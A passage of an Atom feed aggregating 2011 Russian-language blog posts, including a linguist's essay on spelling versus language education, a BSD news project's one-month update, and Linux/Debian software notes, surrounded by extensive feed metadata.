      <category term="eeepc" />
      <category term="freedom" />
      <category term="chrome" />
      <category term="motivation" />
      <category term="firefox" />
      <category term="smplayer" />
      <category term="iphone" />
      <category term="hint" />
      <category term="japanese" />
      <category term="roads" />
      <category term="git" />
      <category term="study" />
      <category term="mts" />
      <category term="spam" />
      <category term="nhk" />
      <category term="video" />
      <category term="alsa" />
      <category term="gvfs" />
      <category term="freebsd" />
      <category term="tv" />
      <category term="visa" />
      <category term="jacque fresco" />
      <category term="cars" />
      <category term="banner" />
      <category term="voting" />
      <category term="future" />
      <category term="scripting" />
      <category term="paint" />
      <category term="pulse-audio" />
      <category term="gdm" />
      <category term="russia" />
      <category term="jabber" />
      <category term="pedestrians" />
      <category term="webdav" />
      <category term="livejournal" />
      <category term="webcam" />
      <category term="language" />
      <category term="hate" />
      <category term="school" />
      <category term="ted" />
      <category term="philosophy" />
      <category term="vodo" />
      <category term="2x2" />
      <category term="squid" />
      <category term="patents" />
      <category term="msie" />
      <category term="social networks" />
      <category term="people" />
      <category term="elizabeth gilbert" />
      <category term="dns" />
      <category term="nosmoking" />
      <category term="wmii" />
      <category term="dropbox" />
      <category term="fun" />
      <category term="sata" />
      <category term="ubuntu" />
      <category term="copyleft" />
      <category term="british airways" />
      <category term="cafe" />
      <category term="touchpad" />
      <category term="encfs" />
      <category term="vcs" />
      <category term="domodedovo" />
      <category term="filemanager" />
      <category term="google" />
      <category term="svn" />
      <category term="nautilus" />
      <category term="mind" />
      <category term="passport" />
      <category term="aur" />
      <category term="media" />
      <category term="proxy" />
      <category term="yachat" />
      <category term="fuse" />
      <category term="bitcoin" />
      <category term="mirror" />
      <category term="song" />
      <category term="maverick" />
      <category term="gtalk" />
      <category term="savage" />
      <category term="advertising" />
      <category term="wine" />
      <category term="creative commons" />
      <category term="accels" />
      <category term="rapidsvn" />
      <category term="mplayer" />
      <category term="openoffice" />
      <category term="earthquake" />
      <category term="gnome" />
      <category term="gpl" />
      <category term="e-government" />
      <category term="england" />
      <category term="ldap" />
      <category term="cms" />
      <category term="sipnet" />
      <category term="1c" />
      <category term="rms" />
      <category term="internet" />
      <category term="tariffs" />
      <category term="debian" />
      <category term="script" />
      <category term="voice" />
      <category term="domain" />
      <category term="gimp" />
      <category term="windows" />
      <category term="opendata" />
      <category term="psa" />
      <category term="sbrf" />
      <category term="linux" />
      <category term="apache" />
      <category term="network administration" />
      <category term="bruce schneier" />
      <category term="english" />
      <category term="politics" />
      <category term="winetricks" />
      <category term="gtk" />
      <category term="voip" />
      <category term="games" />
      <category term="totem-xine" />
      <category term="yandex" />
      <category term="freeware" />
      <category term="go" />
      <category term="odf" />
      <category term="kde" />
      <category term="banks" />
      <category term="tangorin" />
      <category term="xorg" />
      <category term="wikipedia" />
      <category term="jamendo" />
      <category term="copyright" />
      <category term="economics" />
      <category term="matrix" />
      <category term="totem" />
      <category term="food" />
      <category term="wael ghonim" />
      <category term="cinema" />
      <category term="unix" />
      <category term="helplinux" />
      <category term="optimism" />
      <category term="annie leonard" />
      <category term="server" />
      <category term="archlinux" />
      <category term="chromium" />
      <category term="japan" />
      <category term="project management" />
      <category term="egypt" />
      <category term="revolution" />
      <category term="s2games" />
      <category term="ivan begtin" />
      <category term="cards" />
      <category term="donations" />
      <category term="gmail" />
      <category term="hon" />
      <category term="money" />
      <author>
        <name>GiNeR</name>
        <email>noreply@blogger.com</email>
        <uri>http://www.blogger.com/profile/05230667281798145205</uri>
      </author>
      <link href="http://maximum-value.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://www.blogger.com/feeds/1768659949044972261/posts/default/-/unix" rel="self" type="application/atom+xml" />
      <link href="http://maximum-value.blogspot.com/search/label/unix" rel="alternate" type="text/html" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <link href="http://www.blogger.com/feeds/1768659949044972261/posts/default/-/unix/-/unix?start-index=26&amp;max-results=25" rel="next" type="application/atom+xml" />
      <subtitle type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Нужна помощь в Linux? Вам сюда <a href="http://www.helplinux.ru">www.helplinux.ru</a></div>
      </subtitle>
      <title>GiNeR's Blog</title>
      <updated>2011-12-23T05:54:16Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-1768659949044972261.post-5501026691453149419</id>
    <link href="http://maximum-value.blogspot.com/feeds/5501026691453149419/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://www.blogger.com/comment.g?blogID=1768659949044972261&amp;postID=5501026691453149419" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/1768659949044972261/posts/default/5501026691453149419" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/1768659949044972261/posts/default/5501026691453149419" rel="self" type="application/atom+xml" />
    <link href="http://maximum-value.blogspot.com/2011/08/linux.html" rel="alternate" type="text/html" />
    <title>Общая директория между пользователями одного компьютера в Linux</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><a href="http://helplinux.ourproject.org/wiki/kb:local-shared-directory">http://helplinux.ourproject.org/wiki/kb:local-shared-directory</a><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/1768659949044972261-5501026691453149419?l=maximum-value.blogspot.com" width="1" /></div><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/yKiFsZm0TUQ" height="1" width="1" /></div></content>
    <updated>2011-08-13T10:37:00Z</updated>
    <published>2011-08-13T10:37:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="fuse" />
    <category scheme="http://www.blogger.com/atom/ns#" term="linux" />
    <category scheme="http://www.blogger.com/atom/ns#" term="unix" />
    <category scheme="http://www.blogger.com/atom/ns#" term="ubuntu" />
    <author>
      <name>GiNeR</name>
      <email>noreply@blogger.com</email>
      <uri>http://www.blogger.com/profile/05230667281798145205</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-1768659949044972261</id>
      <category term="mobile" />
      <category term="habrahabr" />
      <category term="package" />
      <category term="display" />
      <category term="web" />
      <category term="bug" />
      <category term="sberbank" />
      <category term="beeline" />
      <category term="privacy" />
      <category term="dokuwiki" />
      <category term="lvm" />
      <category term="open source" />
      <category term="eeepc" />
      <category term="freedom" />
      <category term="chrome" />
      <category term="motivation" />
      <category term="firefox" />
      <category term="smplayer" />
      <category term="iphone" />
      <category term="hint" />
      <category term="japanese" />
      <category term="roads" />
      <category term="git" />
      <category term="study" />
      <category term="mts" />
      <category term="spam" />
      <category term="nhk" />
      <category term="video" />
      <category term="alsa" />
      <category term="gvfs" />
      <category term="freebsd" />
      <category term="tv" />
      <category term="visa" />
      <category term="jacque fresco" />
      <category term="cars" />
      <category term="banner" />
      <category term="voting" />
      <category term="future" />
      <category term="scripting" />
      <category term="paint" />
      <category term="pulse-audio" />
      <category term="gdm" />
      <category term="russia" />
      <category term="jabber" />
      <category term="pedestrians" />
      <category term="webdav" />
      <category term="livejournal" />
      <category term="webcam" />
      <category term="language" />
      <category term="hate" />
      <category term="school" />
      <category term="ted" />
      <category term="philosophy" />
      <category term="vodo" />
      <category term="2x2" />
      <category term="squid" />
      <category term="patents" />
      <category term="msie" />
      <category term="social networks" />
      <category term="people" />
      <category term="elizabeth gilbert" />
      <category term="dns" />
      <category term="nosmoking" />
      <category term="wmii" />
      <category term="dropbox" />
      <category term="fun" />
      <category term="sata" />
      <category term="ubuntu" />
      <category term="copyleft" />
      <category term="british airways" />
      <category term="cafe" />
      <category term="touchpad" />
      <category term="encfs" />
      <category term="vcs" />
      <category term="domodedovo" />
      <category term="filemanager" />
      <category term="google" />
      <category term="svn" />
      <category term="nautilus" />
      <category term="mind" />
      <category term="passport" />
      <category term="aur" />
      <category term="media" />
      <category term="proxy" />
      <category term="yachat" />
      <category term="fuse" />
      <category term="bitcoin" />
      <category term="mirror" />
      <category term="song" />
      <category term="maverick" />
      <category term="gtalk" />
      <category term="savage" />
      <category term="advertising" />
      <category term="wine" />
      <category term="creative commons" />
      <category term="accels" />
      <category term="rapidsvn" />
      <category term="mplayer" />
      <category term="openoffice" />
      <category term="earthquake" />
      <category term="gnome" />
      <category term="gpl" />
      <category term="e-government" />
      <category term="england" />
      <category term="ldap" />
      <category term="cms" />
      <category term="sipnet" />
      <category term="1c" />
      <category term="rms" />
      <category term="internet" />
      <category term="tariffs" />
      <category term="debian" />
      <category term="script" />
      <category term="voice" />
      <category term="domain" />
      <category term="gimp" />
      <category term="windows" />
      <category term="opendata" />
      <category term="psa" />
      <category term="sbrf" />
      <category term="linux" />
      <category term="apache" />
      <category term="network administration" />
      <category term="bruce schneier" />
      <category term="english" />
      <category term="politics" />
      <category term="winetricks" />
      <category term="gtk" />
      <category term="voip" />
      <category term="games" />
      <category term="totem-xine" />
      <category term="yandex" />
      <category term="freeware" />
      <category term="go" />
      <category term="odf" />
      <category term="kde" />
      <category term="banks" />
      <category term="tangorin" />
      <category term="xorg" />
      <category term="wikipedia" />
      <category term="jamendo" />
      <category term="copyright" />
      <category term="economics" />
      <category term="matrix" />
      <category term="totem" />
      <category term="food" />
      <category term="wael ghonim" />
      <category term="cinema" />
      <category term="unix" />
      <category term="helplinux" />
      <category term="optimism" />
      <category term="annie leonard" />
      <category term="server" />
      <category term="archlinux" />
      <category term="chromium" />
      <category term="japan" />
      <category term="project management" />
      <category term="egypt" />
      <category term="revolution" />
      <category term="s2games" />
      <category term="ivan begtin" />
      <category term="cards" />
      <category term="donations" />
      <category term="gmail" />
      <category term="hon" />
      <category term="money" />
      <author>
        <name>GiNeR</name>
        <email>noreply@blogger.com</email>
        <uri>http://www.blogger.com/profile/05230667281798145205</uri>
      </author>
      <link href="http://maximum-value.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://www.blogger.com/feeds/1768659949044972261/posts/default/-/unix" rel="self" type="application/atom+xml" />
      <link href="http://maximum-value.blogspot.com/search/label/unix" rel="alternate" type="text/html" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <link href="http://www.blogger.com/feeds/1768659949044972261/posts/default/-/unix/-/unix?start-index=26&amp;max-results=25" rel="next" type="application/atom+xml" />
      <subtitle type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Нужна помощь в Linux? Вам сюда <a href="http://www.helplinux.ru">www.helplinux.ru</a></div>
      </subtitle>
      <title>GiNeR's Blog</title>
      <updated>2011-12-23T05:54:16Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-8315849619846855781.post-8201206578635818545</id>
    <link href="http://f-andrey.blogspot.com/feeds/8201206578635818545/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://f-andrey.blogspot.com/2011/08/bsdnir.html#comment-form" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/8315849619846855781/posts/default/8201206578635818545" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/8315849619846855781/posts/default/8201206578635818545" rel="self" type="application/atom+xml" />
    <link href="http://f-andrey.blogspot.com/2011/08/bsdnir.html" rel="alternate" type="text/html" />
    <title>Исполнился месяц проекту BSDniR</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><div dir="ltr" style="text-align: left;">Итак. Тем кто читает мой блог, и уже успел подписаться, то уж потерпите, обещаю, что такое же будет не скоро.<br />Вообще то, месяц проекту <a href="http://bsdnir.blogspot.com/">BSDniR</a> (BSD news in Russian) стукнул ещё неделю назад, но всё как то было не собраться. <br />На удивление проект жив, вроде как даже кому то, кроме меня, любопытен.<br /><br />За первый месяц проект посетили 823 раза и сделали 1158 просмотров. Основная часть, конечно же, Россия и Украина, но общее количество стран, аж 34, отчасти такому разнообразию видимо помогла ссылка на <a href="http://freebsdnews.net/">freebsdnews.net</a>, так как заходов с поисковиков, пока немного.<br />Отчасти такие скромные результаты обусловлены тем, что я практически нигде не рекламировал сайт, из заметных размещений, был пожалуй один <a href="http://forum.lissyara.su/viewtopic.php?f=46&amp;t=33330">пост на форуме lissyara.su</a>, так же там было небольшое голосование, о полезности ресурса.<br />Из курьёзов стоит пожалуй упомянуть появление ссылок на лурке, и на опеннете и даже на <a href="http://127.0.0.1/">127.0.0.1</a>. Кстати об опеннете, ссылка там была в коментариях, и вроде дала немало заходов, но особой реакции было не заметно.<br /><br />Так же, для пока не ясных целей куплен домен <a href="http://bsdnir.info/">bsdnir.info</a>, вероятно со временем туда будет налажена трансляция, и может появятся какие нибудь полезности, пока же там висит вот такая высокохудожественная заглушка и доступна она только счастливым обладателям IPv6 ;)<br /><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-TlYF_hboUxg/Tj9MlQIv7-I/AAAAAAAAC4Q/Vx7VaqLFQic/s1600/screenshot-2011.08.08-06.32.14.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="125" src="http://2.bp.blogspot.com/-TlYF_hboUxg/Tj9MlQIv7-I/AAAAAAAAC4Q/Vx7VaqLFQic/s320/screenshot-2011.08.08-06.32.14.png" width="320" /></a></div><br />Так же хочется поблагодарить тех кто помогал всё это время, указывая ли на мои ошибки, или присылая поводы и болванки для новостей, очень приятно, что данная затея кажется нужной не только мне.</div><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/8315849619846855781-8201206578635818545?l=f-andrey.blogspot.com" width="1" /></div><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/yN-Tk8Dj1uU" height="1" width="1" /></div></content>
    <updated>2011-08-08T02:50:00Z</updated>
    <published>2011-08-08T02:50:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="OpenBSD" />
    <category scheme="http://www.blogger.com/atom/ns#" term="ZFS" />
    <category scheme="http://www.blogger.com/atom/ns#" term="PC-BSD" />
    <category scheme="http://www.blogger.com/atom/ns#" term="FreeBSD" />
    <category scheme="http://www.blogger.com/atom/ns#" term="NetBSD" />
    <category scheme="http://www.blogger.com/atom/ns#" term="общественное" />
    <category scheme="http://www.blogger.com/atom/ns#" term="сайт" />
    <category scheme="http://www.blogger.com/atom/ns#" term="runix" />
    <category scheme="http://www.blogger.com/atom/ns#" term="BSD" />
    <category scheme="http://www.blogger.com/atom/ns#" term="IPv6" />
    <category scheme="http://www.blogger.com/atom/ns#" term="про меня" />
    <author>
      <name>f_andrey</name>
      <email>noreply@blogger.com</email>
      <uri>http://www.blogger.com/profile/02427630075610270483</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-8315849619846855781</id>
      <category term="IPv6" />
      <category term="сайт" />
      <category term="runix" />
      <category term="Xen" />
      <category term="2009" />
      <category term="про меня" />
      <category term="news" />
      <category term="books" />
      <category term="Linksys" />
      <category term="Cisco" />
      <category term="FreeBSD" />
      <category term="Perl" />
      <category term="BSD" />
      <category term="xmonad" />
      <category term="PC-BSD" />
      <category term="mips" />
      <category term="drivers" />
      <category term="Kyiv" />
      <category term="общественное" />
      <category term="debian" />
      <category term="девайсы" />
      <category term="NetBSD" />
      <category term="solaris" />
      <category term="mercurial" />
      <category term="programs" />
      <category term="utilities" />
      <category term="google" />
      <category term="ZFS" />
      <category term="OpenBSD" />
      <category term="patch" />
      <author>
        <name>f_andrey</name>
        <email>noreply@blogger.com</email>
        <uri>http://www.blogger.com/profile/02427630075610270483</uri>
      </author>
      <link href="http://f-andrey.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://www.blogger.com/feeds/8315849619846855781/posts/default/-/runix" rel="self" type="application/atom+xml" />
      <link href="http://f-andrey.blogspot.com/search/label/runix" rel="alternate" type="text/html" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>Что то типа путевых записок, и размышлений об жизни, ну и о FreeBSD конечно, иногда какие нибудь новости и что то типа переводов.</subtitle>
      <title>записки юного БСДешника</title>
      <updated>2011-12-11T16:18:16Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-1630899989770756879.post-3727493240386505221</id>
    <link href="http://www.eugeniavlasova.info/feeds/3727493240386505221/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://www.eugeniavlasova.info/2011/07/blog-post.html#comment-form" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/1630899989770756879/posts/default/3727493240386505221?v=2" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/1630899989770756879/posts/default/3727493240386505221?v=2" rel="self" type="application/atom+xml" />
    <link href="http://feedproxy.google.com/~r/Paradigma/~3/Lt6Gf7MlQ4E/blog-post.html" rel="alternate" type="text/html" />
    <title>Исправительное образование</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Доставшийся русскому языку в наследство от греков корень орфо-/.орто- (разная традиция передачи в русском языке буквы Ѳ) изначально обозначал нечто прямое, не отклоняющееся в сторону. Значение «правильный» возникло, как производное. Вряд ли для греков прямая была лучше, прекраснее или моральнее кривой. Просто она служила ориентиром, уровнем. Однако со временем прямое — через правильное — стало нормой и вышло из области математики с геометрией в область этики. Прошли века, сменились цивилизации, а вместе с ними и нормы. То, что для греков было вполне правильно и приемлемо, сегодня вряд ли бы обозначили словом straight. <br />
<br />
В русском языке корень орфо-/.орто- прилип к довольно скучным предметам — орфография, ортодонтия, ортодоксальный. Эти слова роднит одно — убежденность, что существует единственный вариант нормы, и всяческое отклонение следует исправлять. Ваши передние зубы выросли слегка под углом? Какая жалость, как вы можете с этим жить? Но ничего, поставьте брекеты и скоро, через несколько мучительных месяцев, вы сможете широко улыбаться, хоть в рекламе зубной пасты снимай. Через душевные переживания и напряжение мысли вы пришли к выводам, отличным от догматов (проставить нужное)? Это происки лукавого, слаб человек. Вам следует (читать «Отче наш» каждый день восемь раз, поститься, обрезаться, отказаться от определенных сортов мяса, отказаться от мяса вообще, пожертвовать свой дом нашему пророку) и душа ваша будет спасена, дух воспрянет и станет прямым, как черта, соединяющая две точки. <br />
<br />
С орфографией всё не так очевидно. В дореволюционной России были занятия по чистописанию. Это было честным названием, которое не обманывало никого — детей учили писать слова в соответствии с нормой и ставили почерк. Самая что ни на есть орфография, «пишу правильно». На каком-то этапе (я не знаю точно, когда, не занималась специальным исследованием) произошла подмена: уроки правописания стали называть уроками русского языка. По существу уроки ничуть не изменились, школьникам, как и раньше, вдалбливают правила правописания, не объясняя ни одно из них. Однако теперь школьники уверены, что правила — это и есть язык. В университете я не переставала удивляться, почему никто не удосужился объяснить школьникам закономерности языка, породившие орфографические правила. Ведь понять гораздо проще, чем запомнить. Поняв принципы и причины, ученики стали бы делать меньше нелепых ошибок. Увы, существующая школьная практика не слишком подходит для того, чтобы что-то объяснять.<br />
<br />
Став школьной дисциплиной под названием «Русский Язык», орфография вытеснила другое, гораздо более важное занятие — развитие речи. Умение связно, понятно изложить мысль в беседе и на бумаге развивается одновременно со способностью породить внятную, связную мысль. Если ты не способен что-то выразить, ты не способен это и подумать, это факт проверенный многими поколениями психолингвистов и нейрофизиологов. Без речи сознание наше темно, разум блуждает среди неясных, неконцептуализированных видений. В моё время абитуриенты ещё писали сочинения, но сейчас, видимо, чтобы пощадить нервную систему приёмной комиссии, сочинения отменили. Я прекрасно помню время, когда тест по русскому языку в качестве экзамена существовал только в виде идеи, и многие честные лингвисты категорически возражали против подобного подхода. Как бы то ни было, замена сочинения на тест — лишь логическое завершение торжества орфографии над искусством владения родным языком, нормы над творчеством.<br />
<br />
Ошибка ошибке рознь. Хоть я и лингвист, мне нет дела до чередования гласных в корнях глаголов. Пусть себе чередуются, раз так легла историческая карта. Человек может ошибиться в выборе «е» или «и», не запомнить всех этих «бер-бира», «пер-пира». Возможно, человек задумался о чем-то другом, более важном, возможно, подвела память. Если проводить аналогии между ошибками такого рода и болезнями, это — легкое ОРЗ. <br />
<br />
Есть ошибки гораздо хуже. В доисторическую эпоху, когда не было интернета, я и представить не могла, как много людей норовят поставить запятую между подлежащим и сказуемым. Формально говоря, предложение, являясь языковым отражением суждения, состоит из субъекта (подлежащее, как правило, тема) и действия/состояния (сказуемое, как правило, рема). Это центр, ядро предложения. Зачем отделять запятой одно от другого? Чем руководствуются люди, ставя запятую между субъектом и его действием? Я долго думала над этим и пришла к выводу, что запятая в подобных случаях, вероятно, вызвана интонационной паузой. Человек обозначил тему своего сообщения (подлежащее), и тут его мысль споткнулась. Нужно время, чтобы сформировать продолжение сообщения, понять, а что хотел сказать-то? Недоразвитая мысль, выпрыгнувшая на уровень слов прежде, чем мозги успели состряпать что-либо вразумительное.   Преждевременное, злокачественное деление мысли. Интеллектуальная лень? Небрежность? Отсутствие навыка точно формулировать свою мысль? <br />
<br />
Я не пурист и не претендую на звание безупречно грамотного человека. Признаться честно, я не слишком высоко ценю абсолютную грамотность. Можно писать безупречно грамотно и безнадёжно скучно (почему-то именно такие образчики грамотности мне попадались чаще всего). Вопли о поголовной безграмотности мало волнуют меня. Но всякий раз, когда я вижу чудовищную ошибку, свидетельствующую о распаде мысли, я поминаю недобрым словом систему образования, поставившую нормативность выше развития, орфографию выше языка.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-DSmzm9x0KfQ/TiaLXqXHchI/AAAAAAAADTA/mKd03MsCf5Q/s1600/grammar.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="112" src="http://2.bp.blogspot.com/-DSmzm9x0KfQ/TiaLXqXHchI/AAAAAAAADTA/mKd03MsCf5Q/s400/grammar.png" width="400" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-TRLqe0SP6sQ/TiaKwfbhSkI/AAAAAAAADS4/iKfZZsI8n9I/s1600/grammar-2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="106" src="http://3.bp.blogspot.com/-TRLqe0SP6sQ/TiaKwfbhSkI/AAAAAAAADS4/iKfZZsI8n9I/s400/grammar-2.png" width="359" /></a></div>
<br />
<br />
<br />
<br /><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/1630899989770756879-3727493240386505221?l=www.eugeniavlasova.info" width="1" /></div><img height="1" src="http://feeds.feedburner.com/~r/Paradigma/~4/Lt6Gf7MlQ4E" width="1" /><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/1zu_PbvCues" height="1" width="1" /></div></content>
    <updated>2011-07-20T08:04:00Z</updated>
    <published>2011-07-20T08:04:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="орфография" />
    <category scheme="http://www.blogger.com/atom/ns#" term="русский язык" />
    <category scheme="http://www.blogger.com/atom/ns#" term="мысли вслух" />
    <category scheme="http://www.blogger.com/atom/ns#" term="образование" /><feedburner:origLink xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://www.eugeniavlasova.info/2011/07/blog-post.html</feedburner:origLink>
    <author>
      <name>Eugenia Vlasova</name>
      <email>noreply@blogger.com</email>
      <uri>https://profiles.google.com/116065318221900299476</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-1630899989770756879</id>
      <category term="публикации" />
      <category term="английский" />
      <category term="орфография" />
      <category term="education" />
      <category term="русский язык" />
      <category term="English" />
      <category term="accent" />
      <category term="мысли вслух" />
      <category term="LG" />
      <category term="образование" />
      <category term="перевод" />
      <category term="произношение" />
      <category term="smartphone" />
      <category term="Android" />
      <category term="hardware" />
      <author>
        <name>Eugenia Vlasova</name>
        <email>noreply@blogger.com</email>
        <uri>https://profiles.google.com/116065318221900299476</uri>
      </author>
      <link href="http://www.eugeniavlasova.info/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://www.eugeniavlasova.info/" rel="alternate" type="text/html" />
      <link href="http://www.blogger.com/feeds/1630899989770756879/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" rel="next" type="application/atom+xml" />
      <link href="http://feeds.feedburner.com/Paradigma" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>Блог Евгении Власовой о компьютерах, гаджетах, девайсах и виртуальной жизни</subtitle>
      <title>Paradigma</title>
      <updated>2011-12-02T12:41:00Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-8622169542119587655.post-508920541663002674</id>
    <link href="http://debiania.blogspot.com/feeds/508920541663002674/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://debiania.blogspot.com/2011/07/gtk-vector-screenshot-debian-sid.html#comment-form" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/8622169542119587655/posts/default/508920541663002674" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/8622169542119587655/posts/default/508920541663002674" rel="self" type="application/atom+xml" />
    <link href="http://debiania.blogspot.com/2011/07/gtk-vector-screenshot-debian-sid.html" rel="alternate" type="text/html" />
    <title>gtk-vector-screenshot: теперь в Debian sid!</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><a href="http://www.joachim-breitner.de/various/pdf_screenshot_epiphany.pdf"><img border="0" src="http://3.bp.blogspot.com/-zLJ1ityhhqA/Th8R4ObpEkI/AAAAAAAAAgw/Nv2Ih3CKHrQ/s400/pdf_screenshot_epiphany_thumbnail.png" style="margin-right: 0.5em; float: left; width: 108px; height: 300px;" /></a>Вчера автор <code>gtk-vector-screenshot</code>, Joachim Breitner, сообщил о том, что его разработка успешно создаёт скриншоты окна Epiphany (об этом ему в свою очередь сообщил Martin Borgert). Так что те, кто читал <a href="http://debiania.blogspot.com/2011/06/pdf-gtk-3.html">мой предыдущий пост</a> и заинтересовался идеей, могут подключать репозитории sid и ставить себе вкусняшку — она уже работает ;)<br /><br /><a href="https://www.joachim-breitner.de/blog/archives/508-gtk-vector-screenshot-works-with-epiphany.html">Оригинальный пост</a><br /><br /><b>UPD 14.07.2011:</b> по просьбам трудящихся своро^Wскопировал из оригинального поста превьюшку PDF'ки.<div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/8622169542119587655-508920541663002674?l=debiania.blogspot.com" width="1" /></div><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/icRvl57lvtk" height="1" width="1" /></div></content>
    <updated>2011-07-05T10:01:00Z</updated>
    <published>2011-07-05T10:01:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="linux" />
    <category scheme="http://www.blogger.com/atom/ns#" term="debian" />
    <category scheme="http://www.blogger.com/atom/ns#" term="programming" />
    <author>
      <name>Minoru</name>
      <email>noreply@blogger.com</email>
      <uri>http://www.blogger.com/profile/15979236009981641914</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-8622169542119587655</id>
      <category term="linux" />
      <category term="web" />
      <category term="fluxbox" />
      <category term="tips'n'tricks" />
      <category term="mcabber" />
      <category term="programming" />
      <category term="zsh" />
      <category term="debian" />
      <category term="holiday" />
      <category term="mirror" />
      <category term="windows" />
      <category term="irssi" />
      <category term="vim" />
      <category term="Eee PC" />
      <category term="review" />
      <category term="blog" />
      <category term="hardware" />
      <category term="EULA" />
      <author>
        <name>Minoru</name>
        <email>noreply@blogger.com</email>
        <uri>http://www.blogger.com/profile/15979236009981641914</uri>
      </author>
      <link href="http://debiania.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://debiania.blogspot.com/search/label/linux" rel="alternate" type="text/html" />
      <link href="http://www.blogger.com/feeds/8622169542119587655/posts/default/-/linux/-/linux?start-index=26&amp;max-results=25" rel="next" type="application/atom+xml" />
      <link href="http://feeds.feedburner.com/DebianiaLinux" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <title>Debiania: просто ещё один блог о Debian</title>
      <updated>2012-02-03T14:44:21Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-8315849619846855781.post-3542822311980786051</id>
    <link href="http://f-andrey.blogspot.com/feeds/3542822311980786051/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://f-andrey.blogspot.com/2011/07/bsd-news-in-russian.html#comment-form" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/8315849619846855781/posts/default/3542822311980786051" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/8315849619846855781/posts/default/3542822311980786051" rel="self" type="application/atom+xml" />
    <link href="http://f-andrey.blogspot.com/2011/07/bsd-news-in-russian.html" rel="alternate" type="text/html" />
    <title>BSD news in Russian</title>
